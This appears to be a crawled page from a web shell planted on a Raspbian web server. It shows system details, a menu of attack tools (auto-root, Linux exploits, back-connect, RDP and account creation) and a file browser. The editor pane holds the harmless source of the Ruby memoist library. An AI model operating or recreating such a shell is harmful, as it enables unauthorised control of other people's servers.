Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
[ HOME SHELL ]
Name
Size
Permission
Action
2.5.0
[ DIR ]
drwxr-xr-x
Ascii85
[ DIR ]
drwxr-xr-x
atomic
[ DIR ]
drwxr-xr-x
coderay
[ DIR ]
drwxr-xr-x
concurrent
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
ffi
[ DIR ]
drwxr-xr-x
hamster
[ DIR ]
drwxr-xr-x
hashery
[ DIR ]
drwxr-xr-x
hoe
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
kramdown
[ DIR ]
drwxr-xr-x
memoist
[ DIR ]
drwxr-xr-x
minitest
[ DIR ]
drwxr-xr-x
multi_json
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
oj
[ DIR ]
drwxr-xr-x
pdf
[ DIR ]
drwxr-xr-x
power_assert
[ DIR ]
drwxr-xr-x
prawn
[ DIR ]
drwxr-xr-x
rake
[ DIR ]
drwxr-xr-x
rouge
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
rugged
[ DIR ]
drwxr-xr-x
stringex
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
thread_safe
[ DIR ]
drwxr-xr-x
ttfunk
[ DIR ]
drwxr-xr-x
tzinfo
[ DIR ]
drwxr-xr-x
wavefile
[ DIR ]
drwxr-xr-x
xmlrpc
[ DIR ]
drwxr-xr-x
afm.rb
4.37
KB
-rw-r--r--
ascii85.rb
5.74
KB
-rw-r--r--
atomic.rb
948
B
-rw-r--r--
coderay.rb
8.92
KB
-rw-r--r--
concurrent-edge.rb
509
B
-rw-r--r--
concurrent.rb
5.46
KB
-rw-r--r--
did_you_mean.rb
1.53
KB
-rw-r--r--
ffi.rb
628
B
-rw-r--r--
hamster.rb
312
B
-rw-r--r--
hashery.rb
543
B
-rw-r--r--
i18n.rb
13.54
KB
-rw-r--r--
kramdown.rb
192
B
-rw-r--r--
memoist.rb
6.48
KB
-rw-r--r--
minitest.rb
22.3
KB
-rw-r--r--
multi_json.rb
4.15
KB
-rw-r--r--
net-telnet.rb
21
B
-rw-r--r--
oj.rb
348
B
-rw-r--r--
pdf-reader.rb
38
B
-rw-r--r--
power_assert.rb
2.69
KB
-rw-r--r--
prawn.rb
2.23
KB
-rw-r--r--
rake.rb
2.11
KB
-rw-r--r--
rc4.rb
822
B
-rw-r--r--
rouge.rb
2.81
KB
-rw-r--r--
rugged.rb
723
B
-rw-r--r--
stringex.rb
369
B
-rw-r--r--
stringex_lite.rb
405
B
-rw-r--r--
test-unit.rb
1.17
KB
-rw-r--r--
thread_safe.rb
1.88
KB
-rw-r--r--
ttfunk.rb
3.25
KB
-rw-r--r--
tzinfo.rb
1.02
KB
-rw-r--r--
wavefile.rb
1.09
KB
-rw-r--r--
xmlrpc.rb
7.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : memoist.rb
# frozen_string_literal: true require 'memoist/version' require 'memoist/core_ext/singleton_class' module Memoist def self.extended(extender) Memoist.memoist_eval(extender) do unless singleton_class.method_defined?(:memoized_methods) def self.memoized_methods @_memoized_methods ||= [] end end end end def self.memoized_ivar_for(method_name, identifier = nil) "@#{memoized_prefix(identifier)}_#{escape_punctuation(method_name)}" end def self.unmemoized_method_for(method_name, identifier = nil) "#{unmemoized_prefix(identifier)}_#{method_name}".to_sym end def self.memoized_prefix(identifier = nil) if identifier "_memoized_#{identifier}" else '_memoized'.freeze end end def self.unmemoized_prefix(identifier = nil) if identifier "_unmemoized_#{identifier}" else '_unmemoized'.freeze end end def self.escape_punctuation(string) string = string.is_a?(String) ? string.dup : string.to_s return string unless string.end_with?('?'.freeze, '!'.freeze) # A String can't end in both ? and ! if string.sub!(/\?\Z/, '_query'.freeze) else string.sub!(/!\Z/, '_bang'.freeze) end string end def self.memoist_eval(klass, *args, &block) if klass.respond_to?(:class_eval) klass.class_eval(*args, &block) else klass.singleton_class.class_eval(*args, &block) end end def self.extract_reload!(method, args) if args.length == method.arity.abs + 1 && (args.last == true || args.last == :reload) reload = args.pop end reload end module InstanceMethods def memoize_all prime_cache end def unmemoize_all flush_cache end def memoized_structs(names) ref_obj = self.class.respond_to?(:class_eval) ? singleton_class : self structs = ref_obj.all_memoized_structs return structs if names.empty? structs.select { |s| names.include?(s.memoized_method) } end def prime_cache(*method_names) memoized_structs(method_names).each do |struct| if struct.arity == 0 __send__(struct.memoized_method) else instance_variable_set(struct.ivar, {}) end end end def flush_cache(*method_names) memoized_structs(method_names).each do |struct| remove_instance_variable(struct.ivar) if instance_variable_defined?(struct.ivar) end end end MemoizedMethod = Struct.new(:memoized_method, :ivar, :arity) def all_memoized_structs @all_memoized_structs ||= begin structs = memoized_methods.dup # Collect the memoized_methods of ancestors in ancestor order # unless we already have it since self or parents could be overriding # an ancestor method. ancestors.grep(Memoist).each do |ancestor| ancestor.memoized_methods.each do |m| structs << m unless structs.any? { |am| am.memoized_method == m.memoized_method } end end structs end end def clear_structs @all_memoized_structs = nil end def memoize(*method_names) identifier = method_names.pop[:identifier] if method_names.last.is_a?(Hash) method_names.each do |method_name| unmemoized_method = Memoist.unmemoized_method_for(method_name, identifier) memoized_ivar = Memoist.memoized_ivar_for(method_name, identifier) Memoist.memoist_eval(self) do include InstanceMethods if method_defined?(unmemoized_method) warn "Already memoized #{method_name}" return end alias_method unmemoized_method, method_name mm = MemoizedMethod.new(method_name, memoized_ivar, instance_method(method_name).arity) memoized_methods << mm if mm.arity == 0 # define a method like this; # def mime_type(reload=true) # skip_cache = reload || !instance_variable_defined?("@_memoized_mime_type") # set_cache = skip_cache && !frozen? # # if skip_cache # value = _unmemoized_mime_type # else # value = @_memoized_mime_type # end # # if set_cache # @_memoized_mime_type = value # end # # value # end module_eval <<-EOS, __FILE__, __LINE__ + 1 def #{method_name}(reload = false) skip_cache = reload || !instance_variable_defined?("#{memoized_ivar}") set_cache = skip_cache && !frozen? if skip_cache value = #{unmemoized_method} else value = #{memoized_ivar} end if set_cache #{memoized_ivar} = value end value end EOS else # define a method like this; # def mime_type(*args) # reload = Memoist.extract_reload!(method(:_unmemoized_mime_type), args) # # skip_cache = reload || !memoized_with_args?(:mime_type, args) # set_cache = skip_cache && !frozen # # if skip_cache # value = _unmemoized_mime_type(*args) # else # value = @_memoized_mime_type[args] # end # # if set_cache # @_memoized_mime_type ||= {} # @_memoized_mime_type[args] = value # end # # value # end module_eval <<-EOS, __FILE__, __LINE__ + 1 def #{method_name}(*args) reload = Memoist.extract_reload!(method(#{unmemoized_method.inspect}), args) skip_cache = reload || !(instance_variable_defined?(#{memoized_ivar.inspect}) && #{memoized_ivar} && #{memoized_ivar}.has_key?(args)) set_cache = skip_cache && !frozen? if skip_cache value = #{unmemoized_method}(*args) else value = #{memoized_ivar}[args] end if set_cache #{memoized_ivar} ||= {} #{memoized_ivar}[args] = value end value end EOS end if private_method_defined?(unmemoized_method) private method_name elsif protected_method_defined?(unmemoized_method) protected method_name end end end # return a chainable method_name symbol if we can method_names.length == 1 ? method_names.first : method_names end end
Close